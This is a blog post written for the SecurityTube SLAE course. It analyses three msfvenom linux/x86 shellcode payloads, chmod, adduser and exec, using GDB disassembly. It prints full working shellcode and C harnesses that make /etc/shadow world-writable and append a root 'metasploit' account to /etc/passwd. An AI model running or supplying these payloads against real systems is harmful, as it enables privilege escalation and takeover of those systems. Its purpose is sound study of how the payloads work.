Comment on page
0x05 SLAE - Msfvenom samples
The goal of the assignment 5 is to analyze three shellcode samples in the linux/x86 msfvenom payload list. The first shellcode that I choose is the linux/x86/chmod. The chmod system command on Linux allow to change the permission on a file. From the man page, we have the following description:
chmod changes the file mode bits of each given file according to mode, which can be either a symbolic representation of changes to make, or an octal number representing the bit pattern for the new mode bits.
Let's see what is the options from msfvenom:

From the screenshot above, there is two parameters for the payload chmod. The option
FILE
and MODE
are the basic options that are required to apply chmod on a file.First thing first, we have to generate the payload with msfvenom. The following command will generate the shellcode in a c array.
msfvenom -p linux/x86/chmod -f c -a x86

Then, we can take the shellcode and insert it in the C program that compile and execute shellcode.
linux-chmod.c
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
int main(){
printf("Shellcode Length: %d", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling the linux-chmod.c :
gcc -m32 -fno-stack-protector -z execstack linux-chmod.c -o linux-chmod
We can run the
file
command on the binary to look the details of the binary :
It's indeed an elf compiled for 32 bit architecture and it is not stripped because we kept the debugging information when we compiled it.
The first step is to use GDB and disassemble the shellcode part. In the C code above, the shellcode is stored in the char array
code
. To be able to access to this part in the debugging process, we can set a breakpoint to *&code
. Before running the binary, we can also disassemble the shellcode part by using the command : disassemble &code
.gdb-peda$ disassemble &code
Dump of assembler code for function code:
0x00002020 <+0>: cdq
0x00002021 <+1>: push 0xf
0x00002023 <+3>: pop eax
0x00002024 <+4>: push edx
0x00002025 <+5>: call 0x2036 <code+22>
0x0000202a <+10>: das
0x0000202b <+11>: gs je 0x2091
0x0000202e <+14>: das
0x0000202f <+15>: jae 0x2099
0x00002031 <+17>: popa
0x00002032 <+18>: outs dx,DWORD PTR fs:[esi]
0x00002034 <+20>: ja 0x2036 <code+22>
0x00002036 <+22>: pop ebx
0x00002037 <+23>: push 0x1b6
0x0000203c <+28>: pop ecx
0x0000203d <+29>: int 0x80
0x0000203f <+31>: push 0x1
0x00002041 <+33>: pop eax
0x00002042 <+34>: int 0x80
0x00002044 <+36>: add BYTE PTR [eax],al
End of assembler dump.
gdb-peda$
In the disassembly output above, we will analyse what this code is doing. The goal will not be to tell what each lines is doing but more an overview of what is the important part of this shellcode. The first push
0xf
equal to 15 in integer which is the syscall number for sys_chmod
syscall. 
https://syscalls.kernelgrok.com/
Then, the code below is pretty straight forward. See comment in the code below.
0x00002023 <+3>: pop eax # Put 0xf in eax from the stack
0x00002024 <+4>: push edx # Initialize edx to 0x0
0x00002025 <+5>: call 0x2036 <code+22> # Jump to 0x00002036 <+22>: pop ebx
Jumping to the address
0x00002036
lead us to the next: 0x00002036 <+22>: pop ebx
If we step line by line with GDB, we can see that the top of the stack there is the address
0xffffce84
which point 0x5666702a
which contains : 0x6374652f
, 0x6168732f
, 0x00776f64
. If we transform these value in ASCII from little endian to big endian:0x6374652f => 0x2f657463 => "/etc"
0x6168732f => 0x2f736861 => "/sha"
0x00776f64 => 0x646f7700 => "dow"
Which is
/etc/shadow
and if you remember in the introduction, the FILE
options was set to /etc/shadow
and this is where is come from. 
The screenshot above show what I did to obtain the values obtained.
Let's see what else we have.
0x00002037 <+23>: push 0x1b6
0x0000203c <+28>: pop ecx
0x0000203d <+29>: int 0x80
0x0000203f <+31>: push 0x1
0x00002041 <+33>: pop eax
0x00002042 <+34>: int 0x80
0x00002044 <+36>: add BYTE PTR [eax],al
The first line,
0x1b6
, push to the top of the stack the value 0666
which is the MODE
value that was set by default when generating the msfvenom payload. It is important to note that the hexadecimal value 0x1b6
has to be converted to octal per the documentation or the description. 
From the msfvenom chmod options
The mode
0666
mean that any users can read and write the file but can't execute it. Then, it put the 0x1b6
in ecx since it pop it from the stack : 0x0000203c <+28>: pop ecx
The line +29, call the chmod syscall. Then, it push the value 1 to the top of the stack. And finally, gravefully exit the program since the syscall 1 is the syscall
exit
.If we execute the binary, it will change the right in read and write to the file
/etc/shadow
. Here is the right on the file before.
Running the binary give the following result.

The goal of this assignment was to analyse one of the available payload in the list linux/x86/ of msfvenom. I choose to analyse the linux/x86/chmod shellcode payload and we have seen that the shellcode is relatively simple. This is the part 1 of the assignment 5 since we need to analyse 3 different payload from linux/x86 library.
The goal of the assignment 5 is to analyze three shellcode samples in the linux/x86 msfvenom payload list. The second shellcode that I choose is the linux/x86/adduser. The adduser system command on Linux allow to add a user in the system. Let's see how the msfvenom payload is adding a user into the system.
Here is a preview of the msfvenom linux/x86/adduser parameters :

linux/x86/adduser options
From the screenshot above, there is three parameters: PASS, SHELL and USER. The parameters name are obvious here.
Compiling the shellcode was pretty similar as the first shellcode that we analyzed (linux/x86/chmod).
msfvenom -p linux/x86/adduser -f c -a x86

msfvenom generate shellcode
Now we copy the shellcode above and put it in the shellcode C program below to compile it.
linux-adduser.c
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";
int main(){
printf("Shellcode Length: %d", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
gcc -m32 -fno-stack-protector -z execstack linux-adduser.c -o linux-adduser
The first step is to disassemble the assembly in the
*&code
function. gdb-peda$ disassemble &code
Dump of assembler code for function code:
=> 0x56557020 <+0>: xor ecx,ecx
0x56557022 <+2>: mov ebx,ecx
0x56557024 <+4>: push 0x46
0x56557026 <+6>: pop eax
0x56557027 <+7>: int 0x80
0x56557029 <+9>: push 0x5
0x5655702b <+11>: pop eax
0x5655702c <+12>: xor ecx,ecx
0x5655702e <+14>: push ecx
0x5655702f <+15>: push 0x64777373
0x56557034 <+20>: push 0x61702f2f
0x56557039 <+25>: push 0x6374652f
0x5655703e <+30>: mov ebx,esp
0x56557040 <+32>: inc ecx
0x56557041 <+33>: mov ch,0x4
0x56557043 <+35>: int 0x80
0x56557045 <+37>: xchg ebx,eax
0x56557046 <+38>: call 0x56557073 <code+83>
0x5655704b <+43>: ins DWORD PTR es:[edi],dx
0x5655704c <+44>: gs je 0x565570b0
0x5655704f <+47>: jae 0x565570c1
0x56557051 <+49>: ins BYTE PTR es:[edi],dx
0x56557052 <+50>: outs dx,DWORD PTR ds:[esi]
0x56557053 <+51>: imul esi,DWORD PTR [edx+edi*1+0x41],0x49642f7a
0x5655705b <+59>: jae 0x565570c7
0x5655705d <+61>: xor al,0x70
0x5655705f <+63>: xor al,0x49
0x56557061 <+65>: push edx
0x56557062 <+66>: arpl WORD PTR [edx],di
0x56557064 <+68>: xor BYTE PTR [edx],bh
0x56557066 <+70>: xor BYTE PTR [edx],bh
0x56557068 <+72>: cmp ch,BYTE PTR [edi]
0x5655706a <+74>: cmp ch,BYTE PTR [edi]
0x5655706c <+76>: bound ebp,QWORD PTR [ecx+0x6e]
0x5655706f <+79>: das
0x56557070 <+80>: jae 0x565570da
0x56557072 <+82>: or bl,BYTE PTR [ecx-0x75]
0x56557075 <+85>: push ecx
0x56557076 <+86>: cld
0x56557077 <+87>: push 0x4
0x56557079 <+89>: pop eax
0x5655707a <+90>: int 0x80
0x5655707c <+92>: push 0x1
0x5655707e <+94>: pop eax
0x5655707f <+95>: int 0x80
0x56557081 <+97>: add BYTE PTR [eax],al
End of assembler dump.
gdb-peda$
As we can see in the code above, we have the result of the shellcode in assembly generated by msfvenom. I will describe and explain each important part of that assembly code.
The first two lines are necessary to initialize the registers.
xor ecx,ecx
mov ebx,ecx
The next lines are calling the syscall setreuid16 to sets real and effective user IDs of the calling process.
push 0x46 ; 0x46 to the top of the stack
pop eax ; put 0x46 in eax (0x46 is the sys_setreuid16 syscall)
int 0x80
Then, there is an interesting part here where the program open the file /etc/passwd for writing or creating it if it doesn't exist.
; call sys_open to open /etc/passwd file and create the file if doesn't exist with flags 0x401
push 0x5 ; push 0x5 to the top of the stack
pop eax ; put 0x5 in eax
xor ecx,ecx ; set ecx to 0
push ecx ; push 0 to the top of the stack
push 0x64777373 ; push 0x64777373 to the top of the stack => sswd
push 0x61702f2f ; push 0x61702f2f to the top of the stack => //pa
push 0x6374652f ; push 0x6374652f to the top of the stack => /etc
mov ebx,esp ; move "/etc//passwd" in ebx
inc ecx ; increment ecx to 1, ecx become 0x1
mov ch,0x4 ; mov 4 in ch => ecx is now => 0x401 => hex to int (0x401) => (1025)
int 0x80 ; syscall sys_open from 0x05 => int open(const char *pathname, int flags) open("/etc//passwd", 1025)
After the syscall of sys_open, the program need to keep the file descriptor.
; put the return value in ebx (file descriptor)
xchg ebx,eax ; exchange value in ebx to eax and eax to ebx
call 0x2073 <code+83> ; call 0x56557073 (+83)
The next assembly code are not necessary to show it since it's the construction of the line to add in /etc/passwd. Here we can see the full line by outputting the result in gdb.

line to add in /etc/passwd
As we can see in the image below, the user metasploit as it was configured in the options of the payload is there. So, from the address
0x5655704b
to 0x56557072
is the construction of the string metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀
.After that part, the shellcode will put the constructed string above into the register ecx.
pop ecx ; put "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀" in ecx
mov edx,DWORD PTR [ecx-0x4] ; mov "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh" in edx
Finally, it will write this line in
/etc/passwd
and gracefully exit the program.; write to /etc/passwd
push 0x4 ; sys_write call ssize_t write(int fd, const void *buf, size_t count);
pop eax ; put /etc//passwd in eax
int 0x80 ; call the syscall
; exit
push 0x1 ; sys_exit call
pop eax ; sys_exit(1)
int 0x80 ; call the syscall
Running the binary, give us the following result:

Adding user to /etc/passwd
The goal of this assignment was to analyse one of the available payload in the list linux/x86/ of msfvenom. I choose to analyse the linux/x86/useradd shellcode payload and we have seen that the shellcode is pretty straight forward. This is the part 2 of the assignment 5 since we need to analyse 3 different payload from linux/x86 library.
The goal of the assignment 5 is to analyze three shellcode samples in the linux/x86 msfvenom payload list. The third shellcode that I choose is the linux/x86/exec. The exec system call allow to run a command on the system. Let's see how the msfvenom payload is running the command into the system.
Here is a preview of the msfvenom linux/x86/exec parameters :

msfvenom linux/x86/exec
As we can see on the screenshot above, there is a command to specify and this is the command that the syscall exec will execute.
First, we need to generate the shellcode with the following command:
msfvenom --payload linux/x86/exec cmd=whoami -f c -a x86

msfvenom shellcode generator
linux-exec.c
#include<stdio.h>
#include<string.h>
unsigned char code[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";
int main(){
printf("Shellcode Length: %d", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
gcc -m32 -fno-stack-protector -z execstack linux-exec.c -o linux-exec
Let's disassemble the code function with
disassemble &code
gdb-peda$ disassemble &code
Dump of assembler code for function code:
0x00002020 <+0>: push 0xb
0x00002022 <+2>: pop eax
0x00002023 <+3>: cdq
0x00002024 <+4>: push edx
0x00002025 <+5>: pushw 0x632d
0x00002029 <+9>: mov edi,esp
0x0000202b <+11>: push 0x68732f
0x00002030 <+16>: push 0x6e69622f
0x00002035 <+21>: mov ebx,esp
0x00002037 <+23>: push edx
0x00002038 <+24>: call 0x2044 <code+36>
0x0000203d <+29>: ja 0x20a7
0x0000203f <+31>: outs dx,DWORD PTR ds:[esi]
0x00002040 <+32>: popa
0x00002041 <+33>: ins DWORD PTR es:[edi],dx
0x00002042 <+34>: imul eax,DWORD PTR [eax],0xe1895357
0x00002048 <+40>: int 0x80
0x0000204a <+42>: add BYTE PTR [eax],al
End of assembler dump.
gdb-peda$
The assembly code is not that big. Let's divide it by section as we did for the past msfvenom payload analysis.
The first section before the call instruction does some manipulation:
push 0xb ; push 0xb to the top of the stack
pop eax ; put 0xb in eax which is 11 syscall sys_execve
cdq ; Convert Doubleword to Quadword
push edx ; push 0x0 to the top of the stack
pushw 0x632d ; push "-c" to the stack and to ESP
mov edi,esp ; mov value from esp to edi
push 0x68732f ; push "/sh" to the top of the stack
push 0x6e69622f ; push "/bin" to the top of the stack
mov ebx,esp ; mov "/bin/sh" in ebx
push edx ; push 0x0 to top of the stack
Then, the call instruction will push "/bin/sh" in the stack.
; assembly code from call instruction 0x2045
push edi ; push "-c" to the top of the stack
push ebx ; push /bin/sh in the stack
mov ecx,esp ; push /bin/sh in ecx
The assembly code between the call instruction and the push edi (from
0x0000203d <+29> to 0x00002042 <+34>
) is pushing the value "whoami" which is the command that we put in the options CMD in msfvenom. We can see the following assembly code : ; will push the address 0xffffce26 that contain the string whoami in the EDI register
ja 0x20a7
outs dx,DWORD PTR ds:[esi]
popa
ins DWORD PTR es:[edi],dx
imul eax,DWORD PTR [eax],0xe1895357
At the final instruction, syscall 0x80, the stack look like this :

stack final
The addess 0xffffce26 point to another address:

value whoami
So, the last line of assembly code will prepare the stack to do the syscall sys_execve.
; assembly code from call instruction 0x2045
push edi ; push -c to the top of the stack
push ebx ; push /bin/sh in the stack
mov ecx,esp ; push /bin/sh in ecx
int 0x80 ; call execve("/bin/sh", ["/bin/sh", "-c", "whoami"], 0)
Finally, the command call that the linux/x86/exec will do is :
execve("/bin/sh", ["/bin/sh", ["/bin/sh", "-c", "whoami"], 0)
Running the binary give the following result:

Running binary linux/x86/exec
Which is exactly what we were expecting.
The goal of this assignment was to analyse one of the available payload in the list linux/x86/ of msfvenom. I choose to analyse the linux/x86/exec shellcode payload and we have seen that the shellcode is doing some manipulation. This is the part 3 of the assignment 5 since we need to analyse 3 different payload from linux/x86 library.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification
Student ID: SLAE-1374
Last modified 3yr ago